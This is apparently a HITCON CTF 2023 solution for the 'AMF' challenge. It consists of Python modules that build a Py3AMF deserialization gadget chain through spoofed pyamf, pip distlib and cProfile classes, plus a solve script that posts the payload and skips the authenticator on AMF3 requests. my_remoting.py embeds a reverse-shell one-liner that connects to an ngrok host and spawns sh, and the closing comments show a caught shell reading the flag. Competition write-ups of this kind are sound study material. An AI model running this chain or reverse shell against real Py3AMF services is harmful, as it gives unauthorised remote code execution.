HITCON CTF 2023 Quals - AMF (Web/Misc)

my_amf3.py

import pyamf

from my_wsgi import WSGIGateway

NAMESPACE = "pyamf.remoting.amf3"


class RequestProcessor:
    class __amf__:
        static = ("gateway",)

    def __init__(self):
        # fake WSGIGateway instance that using cProfile.Profile() as service
        self.gateway = WSGIGateway()


pyamf.register_package(globals(), package=NAMESPACE)

my_cprofile.py

import pyamf

NAMESPACE = "cProfile"


class Profile:
    class __amf__:
        static = ("skip",)

    def __init__(self):
        self.skip = 1


pyamf.register_package(globals(), package=NAMESPACE)

my_db.py

import pyamf

from my_amf3 import RequestProcessor
from my_remoting import Envelope

NAMESPACE = "pip._vendor.distlib.database"


class DependencyGraph:
    class __amf__:
        static = ("adjacency_list", "repr_node")

    def __init__(self):
        # https://github.com/pypa/pip/blob/3e232ce9ab89e29cf5e6ebcb616fe6ef6d85946d/src/pip/_vendor/distlib/database.py#L1224-L1229
        # this is equivalent to: self.repr_node(self.adjacency_list.items()[0][0])
        self.adjacency_list = Envelope()
        self.repr_node = RequestProcessor()


pyamf.register_package(globals(), package=NAMESPACE)

my_gw.py

import pyamf

from my_cprofile import Profile

NAMESPACE = "pyamf.remoting.gateway"


class ServiceWrapper:
    class __amf__:
        static = ("service", "preprocessor", "expose_request")

    def __init__(self):
        # fake Profile instance
        self.service = Profile()
        # some useless attributes just for avoiding error
        self.preprocessor = None
        self.expose_request = None


pyamf.register_package(globals(), package=NAMESPACE)

my_remoting.py

import pyamf
from pyamf.flex import messaging

NAMESPACE = "pyamf.remoting"


class Request:
    class __amf__:
        static = (
            "envelope",
            "body",
        )

    def __init__(self):
        self.envelope = "x" # useless, just for avoiding error
        self.body = [
            messaging.RemotingMessage(
                operation="run",
                destination="rce",
                # body=["open('./pwn','w').write('pwned')"],
                body=[
                    'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.jp.ngrok.io",10784));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
                ],
            )
        ]


class Envelope:
    class __amf__:
        static = ("bodies",)

    def __init__(self):
        # https://github.com/StdCarrot/Py3AMF/blob/be79bf1137b898b032e1c002954a7206ccfeeb50/pyamf/remoting/__init__.py#L189-L190
        # Envelope.items() will return self.bodies
        # send fake Request to RequestProcessor 
        self.bodies = [[Request(), "b"]]


pyamf.register_package(globals(), package=NAMESPACE)

my_rp.py

import pyamf

NAMESPACE = "pyamf.remoting.amf3"


class RequestProcessor:
    class __amf__:
        static = ("service",)

    def __init__(self, service):
        self.service = service


pyamf.register_package(globals(), package=NAMESPACE)

my_wsgi.py

import pyamf

from my_gw import ServiceWrapper

NAMESPACE = "pyamf.remoting.gateway.wsgi"


class WSGIGateway:
    class __amf__:
        static = ("services", "preprocessor", "expose_request")

    def __init__(self):
        # ServiceWrapper that using cProfile.Profile() as service
        self.services = {"rce": ServiceWrapper()}
        # some useless attributes just for avoiding error
        self.preprocessor = None
        self.expose_request = None


pyamf.register_package(globals(), package=NAMESPACE)

solve.py

import uuid

import pyamf
import requests
from pyamf import remoting
from pyamf.flex import messaging

from my_db import DependencyGraph

server_url = "http://localhost:1337/gateway/"
server_url = "http://7c99431ba4e8031b4c3ae8a740254337.amf.chal.hitconctf.com/"

# when operation causing error, the server will try to call DependencyGraph.__repr__ to print the error message
list_msg = messaging.RemotingMessage(
    operation=DependencyGraph(),
    destination="file_manager",
    messageId=str(uuid.uuid4()).upper(),
    body=["./"],
)

# when target is "null", the server will treat the request as amf3 request
# https://github.com/StdCarrot/Py3AMF/blob/be79bf1137b898b032e1c002954a7206ccfeeb50/pyamf/remoting/gateway/__init__.py#L406
# somehow Py3AMF doesn't check the authenticator when processing amf3 request
list_req = remoting.Request(target="null", body=[list_msg])
list_env = remoting.Envelope(pyamf.AMF3)
list_env["/0"] = list_req
list_bin_msg = remoting.encode(list_env)
list_resp = requests.post(
    server_url, data=list_bin_msg.getvalue(), headers={"Content-Type": "application/x-amf"}
)
list_resp_msg = remoting.decode(list_resp.content)
print(list_resp_msg)

# Ncat: Version 7.93 ( https://nmap.org/ncat )
# Ncat: Listening on :::31337
# Ncat: Listening on 0.0.0.0:31337
# Ncat: Connection from ::1.
# Ncat: Connection from ::1:55180
# $ /readflag give me the flag
# /readflag give me the flag
# hitcon{ancient protocols are always funnnn}